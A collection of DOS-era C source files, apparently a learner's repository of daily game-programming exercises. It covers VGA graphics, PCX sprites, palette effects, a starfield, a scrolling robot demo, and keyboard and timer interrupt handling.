{-1, -2, -4} };
int tx=2, ty=0;
int tcount=0;
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// load in the players imagery
PCX_Init((pcx_picture_ptr)&ship_pcx);
PCX_Load("starship.pcx", (pcx_picture_ptr)&ship_pcx,1);
// initialize sprite size and data structure
sprite_width = 16;
sprite_height = 16;
// place the ship on the far right side of the screen
Sprite_Init((sprite_ptr)&ship,151,91,0,0,0,0);
// grab the ship from the PCX file
PCX_Grab_Bitmap((pcx_picture_ptr)&ship_pcx,(sprite_ptr)&ship,0,0,0);
//get rid of the PCX
PCX_Delete((pcx_picture_ptr)&ship_pcx);
//grab our reds
Get_Palette_Register(RED1, &red1);
Get_Palette_Register(RED2, &red2);
Get_Palette_Register(RED_GLOW, &glow);
init_stars();
while(!kbhit())
{
update_stars();
Draw_Sprite(&ship);
//handle strobing red1 and red2
if(frame_counter & 0x03) {
Set_Palette_Register(RED1, &red1);
Set_Palette_Register(RED2, &red2);
} else {
Set_Palette_Register(RED1, &red2);
Set_Palette_Register(RED2, &red1);
}
//do the glowing thing
if(glow.red) glow.red += dir;
if(glow.green) glow.green += dir;
if(glow.blue) glow.blue += dir;
Set_Palette_Register(RED_GLOW, &glow);
fade_count++;
if(fade_count == 25)
{
fade_count = 0;
dir = -dir;
}
//change star trajectory
tcount++;
if(tcount == 100)
{
tx = rand()%4;
ty = rand()%4;
star_dx[0] = trajectory[tx][0];
star_dx[1] = trajectory[tx][1];
star_dx[2] = trajectory[tx][2];
star_dy[0] = trajectory[ty][0];
star_dy[1] = trajectory[ty][1];
star_dy[2] = trajectory[ty][2];
tcount = rand()%100;
}
frame_counter++;
Delay(1);
}
// go back to text mode
Set_Video_Mode(TEXT_MODE);
}
void init_stars()
{
int i;
for(i=0; i<NUM_STARS; i++) {
stars[i].x = rand() % 320;
stars[i].y = rand() % 200;
stars[i].plane = rand() % 3;
}
}
void update_stars()
{
int i;
for(i=0; i<NUM_STARS; i++) {
//erase the star
Plot_Pixel_Fast(stars[i].x, stars[i].y, 0);
//move the star
stars[i].x += star_dx[stars[i].plane];
if(stars[i].x < 0) {
stars[i].x += 320;
} else if(stars[i].x >=320) {
stars[i].x -= 320;
}
stars[i].y += star_dy[stars[i].plane];
if(stars[i].y < 0) {
stars[i].y += 200;
} else if(stars[i].y >=200) {
stars[i].y -= 200;
}
//draw the star
Plot_Pixel_Fast(stars[i].x, stars[i].y, star_color[stars[i].plane]);
}
}
<file_sep>/day_06/robo.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h" // include our graphics stuff
#include "graph4.h"
#include "graph6.h"
#define CELL_COLUMNS 10 // size of cell based matrix
#define CELL_ROWS 6
#define CELL_WIDTH 32 // width of a cell in pixels
#define CELL_HEIGHT 32 // height of a cell in pixels
#define NUM_SCREENS 6 // number of screens in game
#define ROBO_MOVE 8 // speed that the player moves at
#define NUM_STARS 75
// G L O B A L S ////////////////////////////////////////////////////////////
typedef struct star
{
int x;
int y;
unsigned int plane;
unsigned char back;
} star;
pcx_picture imagery_pcx, // used to load in the imagery for robopunk
intro_pcx; // the intro screen
sprite back_cells, // background cells sprite
robopunk; // robopunk
// use an array of 2-D matrices to hold the screens
char **universe[NUM_SCREENS] = {NULL,NULL,NULL,NULL,NULL,NULL};
// here is screen 1, note: it's 10x6 cells where each cell is represented
// by an ASCII character (makes it easier to draw each screen by hand).
// later the ASCII characters will be translated to bitmap id's so that
// the screen image can be drawn
char *screen_1[CELL_ROWS] = {" ",
"##*###*####",
"###########",
"<==========",
"######:####",
"####<=;=>##"};
char *screen_2[CELL_ROWS] = {" ### ",
" #:# ",
"#######:###",
"=======;===",
"#<==>######",
"###########"};
char *screen_3[CELL_ROWS] = {" ##<=>",
" #*##<==>#",
"####*######",
"===========",
"###########",
"###########"};
char *screen_4[CELL_ROWS] = {"### ",
"#<=>## ",
"####<==>###",
"===========",
"###########",
"#<==>######"};
char *screen_5[CELL_ROWS] = {" #<=># ",
" #:#***#:##",
"##:#####:##",
"==;=====;==",
"###########",
"###########"};
char *screen_6[CELL_ROWS] = {" ",
"## ",
"#*#*## ",
"========> ",
"######### ",
"######### "};
unsigned char star_color[] = {8, 7, 15};
int star_dx[] = {2, 4, 6};
int star_dy[] = {0, 0, 0};
star stars[NUM_STARS];
// P R O T O T Y P E S ////////////////////////////////////////////////////////
void init_stars();
void update_stars();
// F U N C T I O N S /////////////////////////////////////////////////////////
void Draw_Screen(char **screen)
{
// this function draws a screen by using the data in the universe array
// each element in the universe array is a 2-D matrix of cells, these
// cells are ASCII characters that represent the requested bitmap that
// shoulf be placed in the cell location
char *curr_row;
int index_x, index_y, cell_number;
// translation table for screen database used to convert the ASCII
// characters into id numbers
static char back_cell_lookup[] =
{ 0,0, 0, 4,0,0,0,0,0,0,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6,7,1,2,3,0,
// SP ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ?
0,0,0,0,0,0,0,0,0,0, 0,0,0,0, 0,0,0,0,0,0,0,0 ,0,0,0,0,0,0 ,0, 0,0,0};
// @ A B C D E <NAME> J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _
// clear out the double buffer
Fill_Double_Buffer(0);
// now draw the screen row by row
for (index_y = 0; index_y<CELL_ROWS; index_y++)
{
// get the current row for speed
curr_row = screen[index_y];
// do the row
for (index_x = 0; index_x<CELL_COLUMNS; index_x++)
{
// extract cell out of data structure and blit it onto screen
cell_number = back_cell_lookup[curr_row[index_x]-32];
// compute the screen x and y
back_cells.x = index_x * sprite_width;
back_cells.y = index_y * sprite_height;
// figure out which bitmap to draw
back_cells.curr_frame = cell_number;
// draw the bitmap
Draw_Sprite_DB((sprite_ptr)&back_cells);
} // end for index_x
} // end for index_y
} // end Draw_Screen
//////////////////////////////////////////////////////////////////////////////
void Rotate_Lights(void)
{
// this function useds color rotation to move the walkway lights
// three color registers are used.
// note: this function has static variables which track timing parameters
// and also if the funtion has been entered yet.
static int clock=0,entered_yet=0;// used for timing, note: they are static!
RGB_color color,
color_1,
color_2,
color_3;
// this function blinks the running lights on the walkway
if (!entered_yet)
{
// reset the palette registers 96,97,98 to red,
// black, black
color.red = 255;
color.green = 0;
color.blue = 0;
Set_Palette_Register(96,(RGB_color_ptr)&color);
color.red = color.green = color.blue = 0;
Set_Palette_Register(97,(RGB_color_ptr)&color);
Set_Palette_Register(98,(RGB_color_ptr)&color);
// system has initialized, so flag it
entered_yet=1;
} // end if first time into function
// try and rotate the light colors i.e. color rotation
if (++clock==3) // is it time to rotate
{
// get the colors
Get_Palette_Register(96,(RGB_color_ptr)&color_1);
Get_Palette_Register(97,(RGB_color_ptr)&color_2);
Get_Palette_Register(98,(RGB_color_ptr)&color_3);
// set the colors
Set_Palette_Register(97,(RGB_color_ptr)&color_1);
Set_Palette_Register(98,(RGB_color_ptr)&color_2);
Set_Palette_Register(96,(RGB_color_ptr)&color_3);
// reset the clock
clock=0;
} // end if time to rotate
} // end Rotate_Lights
///////////////////////////////////////////////////////////////////////////////
// M A I N ////////////////////////////////////////////////////////////////////
void main(void)
{
int index,
curr_screen=0,
done=0;
int dy=0;
// S E C T I O N 1 /////////////////////////////////////////////////////////
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// create a double buffer
if (!Create_Double_Buffer(SCREEN_HEIGHT))
{
printf("\nNot enough memory to create double buffer.");
} // end if
// S E C T I O N 2 /////////////////////////////////////////////////////////
// load intro screen and display for a few secs.
PCX_Init((pcx_picture_ptr)&intro_pcx);
PCX_Load("roboint.pcx", (pcx_picture_ptr)&intro_pcx,1);
PCX_Show_Buffer((pcx_picture_ptr)&intro_pcx);
// let user see it
Delay(50);
PCX_Delete((pcx_picture_ptr)&intro_pcx);
// S E C T I O N 3 /////////////////////////////////////////////////////////
// load in background and animation cells
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("robopunk.pcx", (pcx_picture_ptr)&imagery_pcx,1);
// initialize sprite size
sprite_width = 32;
sprite_height = 32;
// create a sprite for robopunk
Sprite_Init((sprite_ptr)&robopunk,0,0,0,0,0,0);
// create a sprite to hold the background cells
Sprite_Init((sprite_ptr)&back_cells,0,0,0,0,0,0);
// extract animation cells for robopunk
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&robopunk,0,3,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&robopunk,1,5,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&robopunk,2,4,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&robopunk,3,5,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&robopunk,4,6,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&robopunk,5,1,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&robopunk,6,2,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&robopunk,7,1,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&robopunk,8,0,0);
// extract background cells
for (index=0; index<8; index++)
{
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&back_cells,index,index,1);
} // end for index
// done with pcx file so obliterate it
PCX_Delete((pcx_picture_ptr)&imagery_pcx);
// S E C T I O N 4 /////////////////////////////////////////////////////////
// set up universe data structure
universe[0] = (char **)screen_1;
universe[1] = (char **)screen_2;
universe[2] = (char **)screen_3;
universe[3] = (char **)screen_4;
universe[4] = (char **)screen_5;
universe[5] = (char **)screen_6;
Draw_Screen((char **)universe[curr_screen]);
Show_Double_Buffer(double_buffer);
init_stars();
// place robopunk
robopunk.x = 160;
robopunk.y = 74;
robopunk.curr_frame = 0;
// scan background under robopunk
Behind_Sprite_DB((sprite_ptr)&robopunk);
// S E C T I O N 5 /////////////////////////////////////////////////////////
// main event loop
while(!done)
{
// S E C T I O N 6 /////////////////////////////////////////////////////////
// erase robopunk
Erase_Sprite_DB((sprite_ptr)&robopunk);
update_stars();
//move vertically (if needed)
if(dy) {
robopunk.y += dy;
dy+=1;
if(robopunk.y >= 199-robopunk.height) {
done=1;
continue;
}
}
// test if user has hit key
if (kbhit())
{
// get the key
// S E C T I O N 7 /////////////////////////////////////////////////////////
switch(getch())
{
case 'a': // move the player left
{
// advance the animation frame and move player
// test if player is moving right, if so
// show player turning before moving
if (robopunk.curr_frame > 0 && robopunk.curr_frame < 5)
{
robopunk.curr_frame = 0;
} // end if player going right
else
if (robopunk.curr_frame == 0 )
robopunk.curr_frame = 5;
else
{
// player is already in leftward motion so continue
if (++robopunk.curr_frame > 8)
robopunk.curr_frame = 5;
// move player to left
robopunk.x-=ROBO_MOVE;
// test if edge was hit
if (robopunk.x < 8)
{
// test if there is another screen to the left
if (curr_screen==0)
{
robopunk.x += ROBO_MOVE;
} // end if already at end of universe
else
{
// warp robopunk to other edge of screen
// and change screens
robopunk.x = SCREEN_WIDTH - 40;
// scroll to next screen to the left
curr_screen--;
Draw_Screen((char **)universe[curr_screen]);
} // end else move a screen to the left
} // end if hit left edge of screen
} // end else
} break;
case 's': // move the player right
{
// advance the animation frame and move player
// test if player is moving left, if so
// show player turning before moving
if (robopunk.curr_frame > 4)
{
robopunk.curr_frame = 0;
} // end if player going right
else
if (robopunk.curr_frame == 0 )
robopunk.curr_frame =1;
else
{
// player is already in rightward motion so continue
if (++robopunk.curr_frame > 4)
robopunk.curr_frame = 1;
// move player to right
robopunk.x+=ROBO_MOVE;
// test if edge was hit
if (robopunk.x > SCREEN_WIDTH-40)
{
// test if there is another screen to the left
if (curr_screen==5)
{
robopunk.x -= ROBO_MOVE;
dy=4;
} // end if already at end of universe
else
{
// warp robopunk to other edge of screen
// and change screens
robopunk.x = 8;
// scroll to next screen to the right
curr_screen++;
Draw_Screen((char **)universe[curr_screen]);
} // end else move a screen to the right
} // end if hit right edge of screen
} // end else
} break;
case 'q': // exit the demo
{
done=1;
} break;
default:break;
} // end switch
} // end if keyboard hit
// S E C T I O N 8 /////////////////////////////////////////////////////////
// scan background under robopunk
Behind_Sprite_DB((sprite_ptr)&robopunk);
// draw him
Draw_Sprite_DB((sprite_ptr)&robopunk);
// do any background animation
// S E C T I O N 9 /////////////////////////////////////////////////////////
// move the walkway lights
Rotate_Lights();
// show the double buffer
Show_Double_Buffer(double_buffer);
// wait a bit
Delay(1);
} // end while
// S E C T I O N 10 /////////////////////////////////////////////////////////
// use one of screen fx as exit
Disolve_Color(0x0c);
Fade_Lights();
// reset the video mode back to text
Set_Video_Mode(TEXT_MODE);
// free the double buffer
Delete_Double_Buffer();
} // end main
void init_stars()
{
int i;
int offset;
offset = (stars[i].y << 8) + (stars[i].y << 6) + stars[i].x;
for(i=0; i<NUM_STARS; i++) {
stars[i].x = rand() % 320;
stars[i].y = rand() % 200;
stars[i].plane = rand() % 3;
stars[i].back = double_buffer[offset];
}
}
void update_stars()
{
int i;
int offset;
for(i=0; i<NUM_STARS; i++) {
//erase the star (if it was drawn)
if(!stars[i].back)
Plot_Pixel_Fast_DB(stars[i].x, stars[i].y, 0);
//move the star
stars[i].x += star_dx[stars[i].plane];
if(stars[i].x < 0) {
stars[i].x += 320;
} else if(stars[i].x >=320) {
stars[i].x -= 320;
}
stars[i].y += star_dy[stars[i].plane];
if(stars[i].y < 0) {
stars[i].y += 200;
} else if(stars[i].y >=200) {
stars[i].y -= 200;
}
//draw the star
offset = (stars[i].y << 8) + (stars[i].y << 6) + stars[i].x;
stars[i].back = double_buffer[offset];
if(!stars[i].back)
Plot_Pixel_Fast_DB(stars[i].x, stars[i].y, star_color[stars[i].plane]);
}
}
<file_sep>/day_03/KEYCODE.C
// This program will just echo keyboard event codes
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include "graph3.h"
// D E F I N E S /////////////////////////////////////////////////////////////
// begin keyboard stuff
#define KEYBOARD_INT 0x09 // the keyboard interrupt number
#define KEY_BUFFER 0x60 // the buffer port
#define KEY_CONTROL 0x61 // the controller port
#define INT_CONTROL 0x20 // the interrupt controller
int done=0;
// P R O T O T Y P E S //////////////////////////////////////////////////////
void _interrupt _far New_Key_Int(void);
// F U N C T I O N S //////////////////////////////////////////////////////////
void main()
{
void (_interrupt _far *Old_Isr)(); // holds old keyboard interrupt handler
// install our ISR
Old_Isr = _dos_getvect(KEYBOARD_INT);
_dos_setvect(KEYBOARD_INT, New_Key_Int);
//display a friendly message
printf("Press and Release Some Keys\n");
while(!done) {
Delay(1);
}
// replace old ISR
_dos_setvect(KEYBOARD_INT, Old_Isr);
}
void _interrupt _far New_Key_Int(void)
{
int raw_key;
// I'm in the mood for some inline!
_asm
{
sti ; re-enable interrupts
in al, KEY_BUFFER ; get the key that was pressed
xor ah,ah ; zero out upper 8 bits of AX
mov raw_key, ax ; store the key in global
in al, KEY_CONTROL ; set the control register
or al, 82h ; set the proper bits to reset the FF
out KEY_CONTROL,al ; send the new data back to the control register
and al,7fh
out KEY_CONTROL,al ; complete the reset
mov al,20h
out INT_CONTROL,al ; re-enable interrupts
; when this baby hits 88 mph, your gonna see
; some serious @#@#$%
} // end inline assembly
// now for some C to update the arrow state table
printf("%d\n", raw_key);
//terminate if we have just releaste ESC
if(raw_key == 129) {
done = 1;
}
} // end New_Key_Int
<file_sep>/day_04/BETTER4.H
// T Y P E S //////////////////////////////////////////////////////////////////
typedef struct fizzler_typ
{
struct sprite_typ fizzy;
int i;
int len;
} fizzler, *fizzler_ptr;
// My better versions of these things
void Better_Behind_Sprite(sprite_ptr sprite);
void Better_Erase_Sprite(sprite_ptr sprite);
void Better_Draw_Sprite(sprite_ptr sprite);
//functions I have written on day 4
void Better_Scale_Sprite(sprite_ptr dest, sprite_ptr src, int scale);
void Better_Fade();
void Copy_Sprite(sprite_ptr dest, sprite_ptr src);
void Sprite_Fizzle(sprite_ptr sprite);
void Sprite_Fizzle_Frame(fizzler_ptr f, sprite_ptr sprite);
void Print_Sprite_Frame(sprite_ptr sprite, int frame);
<file_sep>/day_03/graph3.c
// GRAPH3.C - This is the first module in the game library
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h"
// G L O B A L S //////////////////////////////////////////////////////////////
unsigned char far *video_buffer = (char far *)0xA0000000L; // vram byte ptr
unsigned int far *video_buffer_w= (int far *)0xA0000000L; // vram word ptr
unsigned char far *rom_char_set = (char far *)0xF000FA6EL; // rom characters 8x8
// F U N C T I O N S /////////////////////////////////////////////////////////
void Blit_Char(int xc,int yc,char c,int color,int trans_flag)
{
// this function uses the rom 8x8 character set to blit a character on the
// video screen, notice the trick used to extract bits out of each character
// byte that comprises a line
int offset,x,y;
char far *work_char;
unsigned char bit_mask = 0x80;
// compute starting offset in rom character lookup table
work_char = rom_char_set + c * CHAR_HEIGHT;
// compute offset of character in video buffer
offset = (yc << 8) + (yc << 6) + xc;
for (y=0; y<CHAR_HEIGHT; y++)
{
// reset bit mask
bit_mask = 0x80;
for (x=0; x<CHAR_WIDTH; x++)
{
// test for transparent pixel i.e. 0, if not transparent then draw
if ((*work_char & bit_mask))
video_buffer[offset+x] = color;
else if (!trans_flag) // takes care of transparency
video_buffer[offset+x] = 0;
// shift bit mask
bit_mask = (bit_mask>>1);
} // end for x
// move to next line in video buffer and in rom character data area
offset += SCREEN_WIDTH;
work_char++;
} // end for y
} // end Blit_Char
//////////////////////////////////////////////////////////////////////////////
void Blit_String(int x,int y,int color, char *string,int trans_flag)
{
// this function blits an entire string on the screen with fixed spacing
// between each character. it calls blit_char.
int index;
for (index=0; string[index]!=0; index++)
{
Blit_Char(x+(index<<3),y,string[index],color,trans_flag);
} /* end while */
} /* end Blit_String */
///////////////////////////////////////////////////////////////////////////////
void Plot_Pixel(int x,int y,unsigned char color)
{
// plots the pixel in the desired color
// each row contains 320 bytes, therefore multiple Y times the row and add x
video_buffer[y*320+x] = color;
} // end Plot_Pixel
///////////////////////////////////////////////////////////////////////////////
void Plot_Pixel_Fast(int x,int y,unsigned char color)
{
// plots the pixel in the desired color a little quicker using binary shifting
// to accomplish the multiplications
// use the fact that 320*y = 256*y + 64*y = y<<8 + y<<6
video_buffer[((y<<8) + (y<<6)) + x] = color;
} // end Plot_Pixel_Fast
//////////////////////////////////////////////////////////////////////////////
void Set_Video_Mode(int mode)
{
// use the video interrupt 10h to set the video mode to the sent value
union REGS inregs,outregs;
inregs.h.ah = 0; // set video mode sub-function
inregs.h.al = (unsigned char)mode; // video mode to change to
_int86(0x10, &inregs, &outregs);
} // end Set_Video_Mode
/////////////////////////////////////////////////////////////////////////////
void Delay(int clicks)
{
// this function uses the internal time keeper timer i.e. the one that goes
// at 18.2 clicks/sec to to a time delay. You can find a 32 bit value of
// this timer at 0000:046Ch
unsigned int far *clock = (unsigned int far *)0x0000046CL;
unsigned int now;
// get current time
now = *clock;
// wait till time has gone past current time plus the amount we eanted to
// wait. Note each click is approx. 55 milliseconds.
while(abs(*clock - now) < clicks){}
} // end Delay
////////////////////////////////////////////////////////////////////////////////
void H_Line(int x1,int x2,int y,unsigned int color)
{
// draw a horizontal line useing the memset function
// note x2 > x1
_fmemset((char far *)(video_buffer + ((y<<8) + (y<<6)) + x1),color,x2-x1+1);
} // end H_Line
//////////////////////////////////////////////////////////////////////////////
void V_Line(int y1,int y2,int x,unsigned int color)
{
// draw a vertical line, note y2 > y1
unsigned int line_offset,
index;
// compute starting position
line_offset = ((y1<<8) + (y1<<6)) + x;
for (index=0; index<=y2-y1; index++)
{
video_buffer[line_offset] = color;
line_offset+=320; // move to next line
} // end for index
} // end V_Line
//////////////////////////////////////////////////////////////////////////////
void H_Line_Fast(int x1,int x2,int y,unsigned int color)
{
// a fast horizontal line renderer uses word writes instead of byte writes
// the only problem is the endpoints of the h line must be taken into account.
// test if the endpoints of the horizontal line are on word boundaries i.e.
// they are envenly divisible by 2
// basically, we must consider the two end points of the line separately
// if we want to write words at a time or in other words two pixels at a time
// note x2 > x1
unsigned int first_word,
middle_word,
last_word,
line_offset,
index;
// test the 1's bit of the starting x
if ( (x1 & 0x0001) )
{
first_word = (color<<8);
} // end if starting point is on a word boundary
else
{
// replicate color in to both bytes
first_word = ((color<<8) | color);
} // end else
// test the 1's bit of the ending x
if ( (x2 & 0x0001) )
{
last_word = ((color<<8) | color);
} // end if ending point is on a word boundary
else
{
// place color in high byte of word only
last_word = color;
} // end else
// now we can draw the horizontal line two pixels at a time
line_offset = ((y<<7) + (y<<5)); // y*160, since there are 160 words/line
// compute middle color
middle_word = ((color<<8) | color);
// left endpoint
video_buffer_w[line_offset + (x1>>1)] = first_word;
// the middle of the line
for (index=(x1>>1)+1; index<(x2>>1); index++)
video_buffer_w[line_offset+index] = middle_word;
// right endpoint
video_buffer_w[line_offset + (x2>>1)] = last_word;
} // end H_Line_Fast
//////////////////////////////////////////////////////////////////////////////
void Set_Palette_Register(int index, RGB_color_ptr color)
{
// this function sets a single color look up table value indexed by index
// with the value in the color structure
// tell VGA card we are going to update a pallete register
_outp(PALETTE_MASK,0xff);
// tell vga card which register we will be updating
_outp(PALETTE_REGISTER_WR, index);
// now update the RGB triple, note the same port is used each time
_outp(PALETTE_DATA,color->red);
_outp(PALETTE_DATA,color->green);
_outp(PALETTE_DATA,color->blue);
} // end Set_Palette_Color
///////////////////////////////////////////////////////////////////////////////
void Get_Palette_Register(int index, RGB_color_ptr color)
{
// this function gets the data out of a color lookup regsiter and places it
// into color
// set the palette mask register
_outp(PALETTE_MASK,0xff);
// tell vga card which register we will be reading
_outp(PALETTE_REGISTER_RD, index);
// now extract the data
color->red = _inp(PALETTE_DATA);
color->green = _inp(PALETTE_DATA);
color->blue = _inp(PALETTE_DATA);
} // end Get_Palette_Color
///////////////////////////////////////////////////////////////////////////////
<file_sep>/day_12/cellw.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h" // include our graphics stuff
#include "graph4.h"
#include "graph6.h"
// D E F I N E S /////////////////////////////////////////////////////////////
#define CELL_WIDTH 16 // size of bitmaps in world
#define CELL_HEIGHT 16
#define NUM_ROWS 12 // number of rows and columns in terrain
#define NUM_COLUMNS 20
// G L O B A L S ////////////////////////////////////////////////////////////
pcx_picture imagery_pcx; // the background bitmaps
// the sprites used in the demo
sprite objects;
int terrain[NUM_ROWS][NUM_COLUMNS] = {0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,3,3,3,3,0,
0,0,0,0,2,0,0,0,0,3,0,0,0,0,0,3,0,0,3,0,
0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,3,0,0,3,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,3,0,
0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,3,3,3,3,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,2,0,0,2,0,0,0,0,0,0,
0,0,0,2,2,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,
0,0,2,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,3,
0,0,2,2,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};
// M A I N ////////////////////////////////////////////////////////////////////
void main(void)
{
// this is the main function
int x,y;
// SECTION 1 /////////////////////////////////////////////////////////////////
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// create a double buffer
if (!Create_Double_Buffer(SCREEN_HEIGHT))
{
printf("\nNot enough memory to create double buffer.");
} // end if
// clear the double buffer
Fill_Double_Buffer(0);
// SECTION 2 /////////////////////////////////////////////////////////////////
// load in imagery for the background objects
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("terrain.pcx", (pcx_picture_ptr)&imagery_pcx,1);
// initialize player and extract bitmaps
sprite_width = 16;
sprite_height = 16;
// initialize the object sprite
Sprite_Init((sprite_ptr)&objects,0,0,0,0,0,0);
// load the bitmaps
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&objects,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&objects,1,1,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&objects,2,2,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&objects,3,3,0);
objects.curr_frame = 0;
objects.state = 1;
// SECTION 3 /////////////////////////////////////////////////////////////////
// based on terrain array draw world
// loop through data array
for (y=0; y<NUM_ROWS; y++)
{
for (x=0; x<NUM_COLUMNS; x++)
{
// draw the proper bitmap at the proper position
objects.x = x*CELL_WIDTH;
objects.y = y*CELL_HEIGHT;
// extract the cell element
objects.curr_frame = terrain[y][x];
Draw_Sprite_DB((sprite_ptr)&objects);
} // end for x
} // end for y
// SECTION 4 /////////////////////////////////////////////////////////////////
Blit_String_DB(2,2,10,"Press any key to exit.",1);
// let's see what we drew
Show_Double_Buffer(double_buffer);
// main event loop
while(!kbhit())
{
} // end while
// reset the video mode back to text
Set_Video_Mode(TEXT_MODE);
// free the double buffer
Delete_Double_Buffer();
} // end main
<file_sep>/day_17/graph11.h
// GRAPH11.H
// D E F I N E S //////////////////////////////////////////////////////////////
#define KEYBOARD_INT 0x09 // the keyboard interrupt number
#define KEY_BUFFER 0x60 // the location of the keyboard buffer
#define KEY_CONTROL 0x61 // the location of the keyboard controller
#define INT_CONTROL 0x20 // the location of the interrupt controller
// make and break codes for the arrow keys (note the make codes are the
// same as the scan codes and the break codes are just the scan codes plus
// 128. For example the scan code for the UP key is 72 which is the make
// code. if we add 128 to this then the result is 128+72 = 200.
// arrow keys
#define MAKE_RIGHT 77
#define MAKE_LEFT 75
#define MAKE_UP 72
#define MAKE_DOWN 80
// some useful control keys
#define MAKE_ENTER 28
#define MAKE_TAB 15
#define MAKE_SPACE 57
#define MAKE_CTRL 29
#define MAKE_ALT 56
#define MAKE_ESC 1
// and now the break codes
#define BREAK_RIGHT 205
#define BREAK_LEFT 203
#define BREAK_UP 200
#define BREAK_DOWN 208
#define BREAK_ENTER 156
#define BREAK_TAB 143
#define BREAK_SPACE 185
#define BREAK_CTRL 157
#define BREAK_ALT 184
#define BREAK_ESC 129
// indices into arrow key state table
#define INDEX_UP 0
#define INDEX_DOWN 1
#define INDEX_RIGHT 2
#define INDEX_LEFT 3
#define INDEX_ENTER 4
#define INDEX_TAB 5
#define INDEX_SPACE 6
#define INDEX_CTRL 7
#define INDEX_ALT 8
#define INDEX_ESC 9
#define NUM_KEYS 10 // number of keys in look up table
// timer defines
#define CONTROL_8253 0x43 // the 8253's control register
#define CONTROL_WORD 0x3C // the control word to set mode 2,binary least/most
#define COUNTER_0 0x40 // counter 0
#define COUNTER_1 0x41 // counter 1
#define COUNTER_2 0x42 // counter 2
#define TIMER_60HZ 0x4DAE // 60 hz
#define TIMER_50HZ 0x5D37 // 50 hz
#define TIMER_40HZ 0x7486 // 40 hz
#define TIMER_30HZ 0x965C // 30 hz
#define TIMER_20HZ 0xE90B // 20 hz
#define TIMER_18HZ 0xFFFF // 18.2 hz (the standard count and the slowest possible)
// interrupt table defines
#define TIME_KEEPER_INT 0x1C // the time keeper interrupt
// multi-tasking kernal defines
#define MAX_TASKS 16 // this should be enough to turn your brains to mush
#define TASK_INACTIVE 0 // this is an inactive task
#define TASK_ACTIVE 1 // this is an active task
#define NUM_STARS 50
// M A C R O S ///////////////////////////////////////////////////////////////
#define LOW_BYTE(n) (n & 0x00ff) // extracts the low-byte of a word
#define HI_BYTE(n) ((n>>8) & 0x00ff) // extracts the hi-byte of a word
// S T U C T U R E S /////////////////////////////////////////////////////////
// this is a single task structure
typedef struct task_typ
{
int id; // the id number for this task
int state; // the state of this task
void (far *task)(); // the function pointer to the task itself
} task, *task_ptr;
// P R O T O T Y P E S ///////////////////////////////////////////////////////
void _interrupt _far New_Key_Int();
void Install_Keyboard(void);
void Delete_Keyboard(void);
void Change_Timer(unsigned int new_count);
// multi-tasking stuff
void Initialize_Kernal(void);
void Start_Kernal(void);
void Stop_Kernal(void);
int Add_Task(void (far *function)());
int Delete_Task(int id);
void _interrupt far Multi_Kernal(void);
// E X T E R N A L G L O B A L S ////////////////////////////////////////////
extern void (_interrupt _far *Old_Key_Isr)(); // holds old keyboard interrupt handler
extern int raw_key; // the global raw keyboard data
// the arrow key state table
extern int key_table[NUM_KEYS];
extern void (_interrupt far *Old_Time_Isr)(); // used to hold old interrupt vector
// multi-tasking stuff
extern task tasks[MAX_TASKS]; // this is the task list for the system
extern int num_tasks; // tracks number of active tasks
<file_sep>/WGAMELIB/README.MD
This directory contains my modification to the gamelib code so that openwatcom
can compile it.
<file_sep>/day_04/PCXFADE.C
